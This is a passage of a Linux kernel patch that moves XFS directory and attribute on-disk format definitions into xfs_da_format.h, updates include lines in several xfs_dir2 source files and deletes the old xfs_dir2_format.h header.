corresponding index in a free db. + */ +static inline int +xfs_dir2_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return db % xfs_dir3_free_max_bests(mp); +} + +/* + * Single block format. + * + * The single block format looks like the following drawing on disk: + * + * +-------------------------------------------------+ + * | xfs_dir2_data_hdr_t | + * +-------------------------------------------------+ + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t : + * | ... | + * +-------------------------------------------------+ + * | unused space | + * +-------------------------------------------------+ + * | ... | + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * +-------------------------------------------------+ + * | xfs_dir2_block_tail_t | + * +-------------------------------------------------+ + * + * As all the entries are variable size structures the accessors below should + * be used to iterate over them. + */ + +typedef struct xfs_dir2_block_tail { + __be32 count; /* count of leaf entries */ + __be32 stale; /* count of stale lf entries */ +} xfs_dir2_block_tail_t; + +/* + * Pointer to the leaf header embedded in a data block (1-block format) + */ +static inline struct xfs_dir2_block_tail * +xfs_dir2_block_tail_p(struct xfs_mount *mp, struct xfs_dir2_data_hdr *hdr) +{ + return ((struct xfs_dir2_block_tail *) + ((char *)hdr + mp->m_dirblksize)) - 1; +} + +/* + * Pointer to the leaf entries embedded in a data block (1-block format) + */ +static inline struct xfs_dir2_leaf_entry * +xfs_dir2_block_leaf_p(struct xfs_dir2_block_tail *btp) +{ + return ((struct xfs_dir2_leaf_entry *)btp) - be32_to_cpu(btp->count); +} + + +/* + * Attribute storage layout + * + * Attribute lists are structured around Btrees where all the data + * elements are in the leaf nodes. Attribute names are hashed into an int, + * then that int is used as the index into the Btree. Since the hashval + * of an attribute name may not be unique, we may have duplicate keys. The + * internal links in the Btree are logical block offsets into the file. + * + *======================================================================== + * Attribute structure when equal to XFS_LBSIZE(mp) bytes. + *======================================================================== + * + * Struct leaf_entry's are packed from the top. Name/values grow from the + * bottom but are not packed. The freemap contains run-length-encoded entries + * for the free bytes after the leaf_entry's, but only the N largest such, + * smaller runs are dropped. When the freemap doesn't show enough space + * for an allocation, we compact the name/value area and try again. If we + * still don't have enough space, then we have to split the block. The + * name/value structs (both local and remote versions) must be 32bit aligned. + * + * Since we have duplicate hash keys, for each key that matches, compare + * the actual name string. The root and intermediate node search always + * takes the first-in-the-block key match found, so we should only have + * to work "forw"ard. If none matches, continue with the "forw"ard leaf + * nodes until the hash key changes or the attribute name is found. + * + * We store the fact that an attribute is a ROOT/USER/SECURE attribute in + * the leaf_entry. The namespaces are independent only because we also look + * at the namespace bit when we are looking for a matching attribute name. + * + * We also store an "incomplete" bit in the leaf_entry. It shows that an + * attribute is in the middle of being created and should not be shown to + * the user if we crash during the time that the bit is set. We clear the + * bit when we have finished setting up the attribute. We do this because + * we cannot create some large attributes inside a single transaction, and we + * need some indication that we weren't finished if we crash in the middle. + */ +#define XFS_ATTR_LEAF_MAPSIZE 3 /* how many freespace slots */ + +typedef struct xfs_attr_leaf_map { /* RLE map of free bytes */ + __be16 base; /* base of free region */ + __be16 size; /* length of free region */ +} xfs_attr_leaf_map_t; + +typedef struct xfs_attr_leaf_hdr { /* constant-structure header block */ + xfs_da_blkinfo_t info; /* block type, links, etc. */ + __be16 count; /* count of active leaf_entry's */ + __be16 usedbytes; /* num bytes of names/values stored */ + __be16 firstused; /* first used byte in name area */ + __u8 holes; /* != 0 if blk needs compaction */ + __u8 pad1; + xfs_attr_leaf_map_t freemap[XFS_ATTR_LEAF_MAPSIZE]; + /* N largest free regions */ +} xfs_attr_leaf_hdr_t; + +typedef struct xfs_attr_leaf_entry { /* sorted on key, not name */ + __be32 hashval; /* hash value of name */ + __be16 nameidx; /* index into buffer of name/value */ + __u8 flags; /* LOCAL/ROOT/SECURE/INCOMPLETE flag */ + __u8 pad2; /* unused pad byte */ +} xfs_attr_leaf_entry_t; + +typedef struct xfs_attr_leaf_name_local { + __be16 valuelen; /* number of bytes in value */ + __u8 namelen; /* length of name bytes */ + __u8 nameval[1]; /* name/value bytes */ +} xfs_attr_leaf_name_local_t; + +typedef struct xfs_attr_leaf_name_remote { + __be32 valueblk; /* block number of value bytes */ + __be32 valuelen; /* number of bytes in value */ + __u8 namelen; /* length of name bytes */ + __u8 name[1]; /* name bytes */ +} xfs_attr_leaf_name_remote_t; + +typedef struct xfs_attr_leafblock { + xfs_attr_leaf_hdr_t hdr; /* constant-structure header block */ + xfs_attr_leaf_entry_t entries[1]; /* sorted on key, not name */ + xfs_attr_leaf_name_local_t namelist; /* grows from bottom of buf */ + xfs_attr_leaf_name_remote_t valuelist; /* grows from bottom of buf */ +} xfs_attr_leafblock_t; + +/* + * CRC enabled leaf structures. Called "version 3" structures to match the + * version number of the directory and dablk structures for this feature, and + * attr2 is already taken by the variable inode attribute fork size feature. + */ +struct xfs_attr3_leaf_hdr { + struct xfs_da3_blkinfo info; + __be16 count; + __be16 usedbytes; + __be16 firstused; + __u8 holes; + __u8 pad1; + struct xfs_attr_leaf_map freemap[XFS_ATTR_LEAF_MAPSIZE]; + __be32 pad2; /* 64 bit alignment */ +}; + +#define XFS_ATTR3_LEAF_CRC_OFF (offsetof(struct xfs_attr3_leaf_hdr, info.crc)) + +struct xfs_attr3_leafblock { + struct xfs_attr3_leaf_hdr hdr; + struct xfs_attr_leaf_entry entries[1]; + + /* + * The rest of the block contains the following structures after the + * leaf entries, growing from the bottom up. The variables are never + * referenced, the locations accessed purely from helper functions. + * + * struct xfs_attr_leaf_name_local + * struct xfs_attr_leaf_name_remote + */ +}; + +/* + * incore, neutral version of the attribute leaf header + */ +struct xfs_attr3_icleaf_hdr { + __uint32_t forw; + __uint32_t back; + __uint16_t magic; + __uint16_t count; + __uint16_t usedbytes; + __uint16_t firstused; + __u8 holes; + struct { + __uint16_t base; + __uint16_t size; + } freemap[XFS_ATTR_LEAF_MAPSIZE]; +}; + +/* + * Flags used in the leaf_entry[i].flags field. + * NOTE: the INCOMPLETE bit must not collide with the flags bits specified + * on the system call, they are "or"ed together for various operations. + */ +#define XFS_ATTR_LOCAL_BIT 0 /* attr is stored locally */ +#define XFS_ATTR_ROOT_BIT 1 /* limit access to trusted attrs */ +#define XFS_ATTR_SECURE_BIT 2 /* limit access to secure attrs */ +#define XFS_ATTR_INCOMPLETE_BIT 7 /* attr in middle of create/delete */ +#define XFS_ATTR_LOCAL (1 << XFS_ATTR_LOCAL_BIT) +#define XFS_ATTR_ROOT (1 << XFS_ATTR_ROOT_BIT) +#define XFS_ATTR_SECURE (1 << XFS_ATTR_SECURE_BIT) +#define XFS_ATTR_INCOMPLETE (1 << XFS_ATTR_INCOMPLETE_BIT) + +/* + * Conversion macros for converting namespace bits from argument flags + * to ondisk flags. + */ +#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE) +#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE) +#define XFS_ATTR_NSP_ONDISK(flags) ((flags) & XFS_ATTR_NSP_ONDISK_MASK) +#define XFS_ATTR_NSP_ARGS(flags) ((flags) & XFS_ATTR_NSP_ARGS_MASK) +#define XFS_ATTR_NSP_ARGS_TO_ONDISK(x) (((x) & ATTR_ROOT ? XFS_ATTR_ROOT : 0) |\ + ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0)) +#define XFS_ATTR_NSP_ONDISK_TO_ARGS(x) (((x) & XFS_ATTR_ROOT ? ATTR_ROOT : 0) |\ + ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0)) + +/* + * Alignment for namelist and valuelist entries (since they are mixed + * there can be only one alignment value) + */ +#define XFS_ATTR_LEAF_NAME_ALIGN ((uint)sizeof(xfs_dablk_t)) + +static inline int +xfs_attr3_leaf_hdr_size(struct xfs_attr_leafblock *leafp) +{ + if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) + return sizeof(struct xfs_attr3_leaf_hdr); + return sizeof(struct xfs_attr_leaf_hdr); +} + +static inline struct xfs_attr_leaf_entry * +xfs_attr3_leaf_entryp(xfs_attr_leafblock_t *leafp) +{ + if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) + return &((struct xfs_attr3_leafblock *)leafp)->entries[0]; + return &leafp->entries[0]; +} + +/* + * Cast typed pointers for "local" and "remote" name/value structs. + */ +static inline char * +xfs_attr3_leaf_name(xfs_attr_leafblock_t *leafp, int idx) +{ + struct xfs_attr_leaf_entry *entries = xfs_attr3_leaf_entryp(leafp); + + return &((char *)leafp)[be16_to_cpu(entries[idx].nameidx)]; +} + +static inline xfs_attr_leaf_name_remote_t * +xfs_attr3_leaf_name_remote(xfs_attr_leafblock_t *leafp, int idx) +{ + return (xfs_attr_leaf_name_remote_t *)xfs_attr3_leaf_name(leafp, idx); +} + +static inline xfs_attr_leaf_name_local_t * +xfs_attr3_leaf_name_local(xfs_attr_leafblock_t *leafp, int idx) +{ + return (xfs_attr_leaf_name_local_t *)xfs_attr3_leaf_name(leafp, idx); +} + +/* + * Calculate total bytes used (including trailing pad for alignment) for + * a "local" name/value structure, a "remote" name/value structure, and + * a pointer which might be either. + */ +static inline int xfs_attr_leaf_entsize_remote(int nlen) +{ + return ((uint)sizeof(xfs_attr_leaf_name_remote_t) - 1 + (nlen) + \ + XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); +} + +static inline int xfs_attr_leaf_entsize_local(int nlen, int vlen) +{ + return ((uint)sizeof(xfs_attr_leaf_name_local_t) - 1 + (nlen) + (vlen) + + XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); +} + +static inline int xfs_attr_leaf_entsize_local_max(int bsize) +{ + return (((bsize) >> 1) + ((bsize) >> 2)); +} + + + +/* + * Remote attribute block format definition + * + * There is one of these headers per filesystem block in a remote attribute. + * This is done to ensure there is a 1:1 mapping between the attribute value + * length and the number of blocks needed to store the attribute. This makes the + * verification of a buffer a little more complex, but greatly simplifies the + * allocation, reading and writing of these attributes as we don't have to guess + * the number of blocks needed to store the attribute data. + */ +#define XFS_ATTR3_RMT_MAGIC 0x5841524d /* XARM */ + +struct xfs_attr3_rmt_hdr { + __be32 rm_magic; + __be32 rm_offset; + __be32 rm_bytes; + __be32 rm_crc; + uuid_t rm_uuid; + __be64 rm_owner; + __be64 rm_blkno; + __be64 rm_lsn; +}; + +#define XFS_ATTR3_RMT_CRC_OFF offsetof(struct xfs_attr3_rmt_hdr, rm_crc) + +#define XFS_ATTR3_RMT_BUF_SPACE(mp, bufsize) \ + ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ + sizeof(struct xfs_attr3_rmt_hdr) : 0)) + +#endif /* __XFS_DA_FORMAT_H__ */ diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index edf203a..f46777f 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -24,6 +24,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" @@ -31,7 +32,6 @@ #include "xfs_inode.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 0957aa9..bd8e7ed 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -24,6 +24,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" @@ -31,7 +32,6 @@ #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_buf_item.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 47e1326..8cf8034 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -24,11 +24,11 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_format.h b/fs/xfs/xfs_dir2_format.h deleted file mode 100644 index a0961a6..0000000 --- a/fs/xfs/xfs_dir2_format.h +++ /dev/null @@ -1,975 +0,0 @@ -/* - * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. - * Copyright (c) 2013 Red Hat, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_DIR2_FORMAT_H__ -#define __XFS_DIR2_FORMAT_H__ - -/* - * Directory version 2. - * - * There are 4 possible formats: - * - shortform - embedded into the inode - * - single block - data with embedded leaf at the end - * - multiple data blocks, single leaf+freeindex block - * - data blocks, node and leaf blocks (btree), freeindex blocks - * - * Note: many node blocks structures and constants are shared with the attr - * code and defined in xfs_da_btree.h. - */ - -#define XFS_DIR2_BLOCK_MAGIC 0x58443242 /* XD2B: single block dirs */ -#define XFS_DIR2_DATA_MAGIC 0x58443244 /* XD2D: multiblock dirs */ -#define XFS_DIR2_FREE_MAGIC 0x58443246 /* XD2F: free index blocks */ - -/* - * Directory Version 3 With CRCs. - * - * The tree formats are the same as for version 2 directories. The difference - * is in the block header and dirent formats. In many cases the v3 structures - * use v2 definitions as they are no different and this makes code sharing much - * easier. - * - * Also, the xfs_dir3_*() functions handle both v2 and v3 formats - if the - * format is v2 then they switch to the existing v2 code, or the format is v3 - * they implement the v3 functionality. This means the existing dir2 is a mix of - * xfs_dir2/xfs_dir3 calls and functions. The xfs_dir3 functions are called - * where there is a difference in the formats, otherwise the code is unchanged. - * - * Where it is possible, the code decides what to do based on the magic numbers - * in the blocks rather than feature bits in the superblock. This means the code - * is as independent of the external XFS code as possible as doesn't require - * passing struct xfs_mount pointers into places where it isn't really - * necessary. - * - * Version 3 includes: - * - * - a larger block header for CRC and identification purposes and so the - * offsets of all the structures inside the blocks are different. - * - * - new magic numbers to be able to detect the v2/v3 types on the fly. - */ - -#define XFS_DIR3_BLOCK_MAGIC 0x58444233 /* XDB3: single block dirs */ -#define XFS_DIR3_DATA_MAGIC 0x58444433 /* XDD3: multiblock dirs */ -#define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ - -/* - * Dirents in version 3 directories have a file type field. Additions to this - * list are an on-disk format change, requiring feature bits. Valid values - * are as follows: - */ -#define XFS_DIR3_FT_UNKNOWN 0 -#define XFS_DIR3_FT_REG_FILE 1 -#define XFS_DIR3_FT_DIR 2 -#define XFS_DIR3_FT_CHRDEV 3 -#define XFS_DIR3_FT_BLKDEV 4 -#define XFS_DIR3_FT_FIFO 5 -#define XFS_DIR3_FT_SOCK 6 -#define XFS_DIR3_FT_SYMLINK 7 -#define XFS_DIR3_FT_WHT 8 - -#define XFS_DIR3_FT_MAX 9 - -/* - * Byte offset in data block and shortform entry. - */ -typedef __uint16_t xfs_dir2_data_off_t; -#define NULLDATAOFF 0xffffU -typedef uint xfs_dir2_data_aoff_t; /* argument form */ - -/* - * Normalized offset (in a data block) of the entry, really xfs_dir2_data_off_t. - * Only need 16 bits, this is the byte offset into the single block form. - */ -typedef struct { __uint8_t i[2]; } __arch_pack xfs_dir2_sf_off_t; - -/* - * Offset in data space of a data entry. - */ -typedef __uint32_t xfs_dir2_dataptr_t; -#define XFS_DIR2_MAX_DATAPTR ((xfs_dir2_dataptr_t)0xffffffff) -#define XFS_DIR2_NULL_DATAPTR ((xfs_dir2_dataptr_t)0) - -/* - * Byte offset in a directory. - */ -typedef xfs_off_t xfs_dir2_off_t; - -/* - * Directory block number (logical dirblk in file) - */ -typedef __uint32_t xfs_dir2_db_t; - -/* - * Inode number stored as 8 8-bit values. - */ -typedef struct { __uint8_t i[8]; } xfs_dir2_ino8_t; - -/* - * Inode number stored as 4 8-bit values. - * Works a lot of the time, when all the inode numbers in a directory - * fit in 32 bits. - */ -typedef struct { __uint8_t i[4]; } xfs_dir2_ino4_t; - -typedef union { - xfs_dir2_ino8_t i8; - xfs_dir2_ino4_t i4; -} xfs_dir2_inou_t; -#define XFS_DIR2_MAX_SHORT_INUM ((xfs_ino_t)0xffffffffULL) - -/* - * Directory layout when stored internal to an inode. - * - * Small directories are packed as tightly as possible so as to fit into the - * literal area of the inode. These "shortform" directories consist of a - * single xfs_dir2_sf_hdr header followed by zero or more xfs_dir2_sf_entry - * structures. Due the different inode number storage size and the variable - * length name field in the xfs_dir2_sf_entry all these structure are - * variable length, and the accessors in this file should be used to iterate - * over them. - */ -typedef struct xfs_dir2_sf_hdr { - __uint8_t count; /* count of entries */ - __uint8_t i8count; /* count of 8-byte inode #s */ - xfs_dir2_inou_t parent; /* parent dir inode number */ -} __arch_pack xfs_dir2_sf_hdr_t; - -typedef struct xfs_dir2_sf_entry { - __u8 namelen; /* actual name length */ - xfs_dir2_sf_off_t offset; /* saved offset */ - __u8 name[]; /* name, variable size */ - /* - * A single byte containing the file type field follows the inode - * number for version 3 directory entries. - * - * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a - * variable offset after the name. - */ -} __arch_pack xfs_dir2_sf_entry_t; - -static inline int xfs_dir2_sf_hdr_size(int i8count) -{ - return sizeof(struct xfs_dir2_sf_hdr) - - (i8count == 0) * - (sizeof(xfs_dir2_ino8_t) - sizeof(xfs_dir2_ino4_t)); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir2_sf_get_offset(xfs_dir2_sf_entry_t *sfep) -{ - return get_unaligned_be16(&sfep->offset.i); -} - -static inline void -xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) -{ - put_unaligned_be16(off, &sfep->offset.i); -} - -static inline struct xfs_dir2_sf_entry * -xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) -{ - return (struct xfs_dir2_sf_entry *) - ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); -} - -static inline int -xfs_dir3_sf_entsize( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - int len) -{ - int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ - - count += len; /* name */ - count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : - sizeof(xfs_dir2_ino4_t); /* ino # */ - if (xfs_sb_version_hasftype(&mp->m_sb)) - count += sizeof(__uint8_t); /* file type */ - return count; -} - -static inline struct xfs_dir2_sf_entry * -xfs_dir3_sf_nextentry( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return (struct xfs_dir2_sf_entry *) - ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); -} - -/* - * in dir3 shortform directories, the file type field is stored at a variable - * offset after the inode number. Because it's only a single byte, endian - * conversion is not necessary. - */ -static inline __uint8_t * -xfs_dir3_sfe_ftypep( - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - return (__uint8_t *)&sfep->name[sfep->namelen]; -} - -static inline __uint8_t -xfs_dir3_sfe_get_ftype( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) -{ - __uint8_t *ftp; - - if (!xfs_sb_version_hasftype(&mp->m_sb)) - return XFS_DIR3_FT_UNKNOWN; - - ftp = xfs_dir3_sfe_ftypep(hdr, sfep); - if (*ftp >= XFS_DIR3_FT_MAX) - return XFS_DIR3_FT_UNKNOWN; - return *ftp; -} - -static inline void -xfs_dir3_sfe_put_ftype( - struct xfs_mount *mp, - struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep, - __uint8_t ftype) -{ - __uint8_t *ftp; - - ASSERT(ftype < XFS_DIR3_FT_MAX); - - if (!xfs_sb_version_hasftype(&mp->m_sb)) - return; - ftp = xfs_dir3_sfe_ftypep(hdr, sfep); - *ftp = ftype; -} - -/* - * Data block structures. - * - * A pure data block looks like the following drawing on disk: - * - * +-------------------------------------------------+ - * | xfs_dir2_data_hdr_t | - * +-------------------------------------------------+ - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | ... | - * +-------------------------------------------------+ - * | unused space | - * +-------------------------------------------------+ - * - * As all the entries are variable size structures the accessors below should - * be used to iterate over them. - * - * In addition to the pure data blocks for the data and node formats, - * most structures are also used for the combined data/freespace "block" - * format below. - */ - -#define XFS_DIR2_DATA_ALIGN_LOG 3 /* i.e., 8 bytes */ -#define XFS_DIR2_DATA_ALIGN (1 << XFS_DIR2_DATA_ALIGN_LOG) -#define XFS_DIR2_DATA_FREE_TAG 0xffff -#define XFS_DIR2_DATA_FD_COUNT 3 - -/* - * Directory address space divided into sections, - * spaces separated by 32GB. - */ -#define XFS_DIR2_SPACE_SIZE (1ULL << (32 + XFS_DIR2_DATA_ALIGN_LOG)) -#define XFS_DIR2_DATA_SPACE 0 -#define XFS_DIR2_DATA_OFFSET (XFS_DIR2_DATA_SPACE * XFS_DIR2_SPACE_SIZE) -#define XFS_DIR2_DATA_FIRSTDB(mp) \ - xfs_dir2_byte_to_db(mp, XFS_DIR2_DATA_OFFSET) - -/* - * Describe a free area in the data block. - * - * The freespace will be formatted as a xfs_dir2_data_unused_t. - */ -typedef struct xfs_dir2_data_free { - __be16 offset; /* start of freespace */ - __be16 length; /* length of freespace */ -} xfs_dir2_data_free_t; - -/* - * Header for the data blocks. - * - * The code knows that XFS_DIR2_DATA_FD_COUNT is 3. - */ -typedef struct xfs_dir2_data_hdr { - __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ - /* XFS_DIR2_BLOCK_MAGIC */ - xfs_dir2_data_free_t bestfree[XFS_DIR2_DATA_FD_COUNT]; -} xfs_dir2_data_hdr_t; - -/* - * define a structure for all the verification fields we are adding to the - * directory block structures. This will be used in several structures. - * The magic number must be the first entry to align with all the dir2 - * structures so we determine how to decode them just by the magic number. - */ -struct xfs_dir3_blk_hdr { - __be32 magic; /* magic number */ - __be32 crc; /* CRC of block */ - __be64 blkno; /* first block of the buffer */ - __be64 lsn; /* sequence number of last write */ - uuid_t uuid; /* filesystem we belong to */ - __be64 owner; /* inode that owns the block */ -}; - -struct xfs_dir3_data_hdr { - struct xfs_dir3_blk_hdr hdr; - xfs_dir2_data_free_t best_free[XFS_DIR2_DATA_FD_COUNT]; - __be32 pad; /* 64 bit alignment */ -}; - -#define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) - -static inline struct xfs_dir2_data_free * -xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) -{ - if (hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)) { - struct xfs_dir3_data_hdr *hdr3 = (struct xfs_dir3_data_hdr *)hdr; - return hdr3->best_free; - } - return hdr->bestfree; -} - -/* - * Active entry in a data block. - * - * Aligned to 8 bytes. After the variable length name field there is a - * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. - * - * For dir3 structures, there is file type field between the name and the tag. - * This can only be manipulated by helper functions. It is packed hard against - * the end of the name so any padding for rounding is between the file type and - * the tag. - */ -typedef struct xfs_dir2_data_entry { - __be64 inumber; /* inode number */ - __u8 namelen; /* name length */ - __u8 name[]; /* name bytes, no null */ - /* __u8 filetype; */ /* type of inode we point to */ - /* __be16 tag; */ /* starting offset of us */ -} xfs_dir2_data_entry_t; - -/* - * Unused entry in a data block. - * - * Aligned to 8 bytes. Tag appears as the last 2 bytes and must be accessed - * using xfs_dir2_data_unused_tag_p. - */ -typedef struct xfs_dir2_data_unused { - __be16 freetag; /* XFS_DIR2_DATA_FREE_TAG */ - __be16 length; /* total free length */ - /* variable offset */ - __be16 tag; /* starting offset of us */ -} xfs_dir2_data_unused_t; - -/* - * Size of a data entry. - */ -static inline int -__xfs_dir3_data_entsize( - bool ftype, - int n) -{ - int size = offsetof(struct xfs_dir2_data_entry, name[0]); - - size += n; - size += sizeof(xfs_dir2_data_off_t); - if (ftype) - size += sizeof(__uint8_t); - return roundup(size, XFS_DIR2_DATA_ALIGN); -} -static inline int -xfs_dir3_data_entsize( - struct xfs_mount *mp, - int n) -{ - bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; - return __xfs_dir3_data_entsize(ftype, n); -} - -static inline __uint8_t -xfs_dir3_dirent_get_ftype( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep) -{ - if (xfs_sb_version_hasftype(&mp->m_sb)) { - __uint8_t type = dep->name[dep->namelen]; - - ASSERT(type < XFS_DIR3_FT_MAX); - if (type < XFS_DIR3_FT_MAX) - return type; - - } - return XFS_DIR3_FT_UNKNOWN; -} - -static inline void -xfs_dir3_dirent_put_ftype( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep, - __uint8_t type) -{ - ASSERT(type < XFS_DIR3_FT_MAX); - ASSERT(dep->namelen != 0); - - if (xfs_sb_version_hasftype(&mp->m_sb)) - dep->name[dep->namelen] = type; -} - -/* - * Pointer to an entry's tag word. - */ -static inline __be16 * -xfs_dir3_data_entry_tag_p( - struct xfs_mount *mp, - struct xfs_dir2_data_entry *dep) -{ - return (__be16 *)((char *)dep + - xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); -} - -/* - * Pointer to a freespace's tag word. - */ -static inline __be16 * -xfs_dir2_data_unused_tag_p(struct xfs_dir2_data_unused *dup) -{ - return (__be16 *)((char *)dup + - be16_to_cpu(dup->length) - sizeof(__be16)); -} - -static inline size_t -xfs_dir3_data_hdr_size(bool dir3) -{ - if (dir3) - return sizeof(struct xfs_dir3_data_hdr); - return sizeof(struct xfs_dir2_data_hdr); -} - -static inline size_t -xfs_dir3_data_entry_offset(struct xfs_dir2_data_hdr *hdr) -{ - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_hdr_size(dir3); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_entry_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); -} - -static inline struct xfs_dir2_data_unused * -xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_unused *) - ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); -} - -/* - * Offsets of . and .. in data space (always block 0) - * - * The macros are used for shortform directories as they have no headers to read - * the magic number out of. Shortform directories need to know the size of the - * data block header because the sfe embeds the block offset of the entry into - * it so that it doesn't change when format conversion occurs. Bad Things Happen - * if we don't follow this rule. - * - * XXX: there is scope for significant optimisation of the logic here. Right - * now we are checking for "dir3 format" over and over again. Ideally we should - * only do it once for each operation. - */ -#define XFS_DIR3_DATA_DOT_OFFSET(mp) \ - xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&(mp)->m_sb)) -#define XFS_DIR3_DATA_DOTDOT_OFFSET(mp) \ - (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 1)) -#define XFS_DIR3_DATA_FIRST_OFFSET(mp) \ - (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 2)) - -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) -{ - return xfs_dir3_data_entry_offset(hdr); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dotdot_offset(struct xfs_dir2_data_hdr *hdr) -{ - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_dot_offset(hdr) + - __xfs_dir3_data_entsize(dir3, 1); -} - -static inline xfs_dir2_data_aoff_t -xfs_dir3_data_first_offset(struct xfs_dir2_data_hdr *hdr) -{ - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_dotdot_offset(hdr) + - __xfs_dir3_data_entsize(dir3, 2); -} - -/* - * location of . and .. in data space (always block 0) - */ -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dot_entry_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + 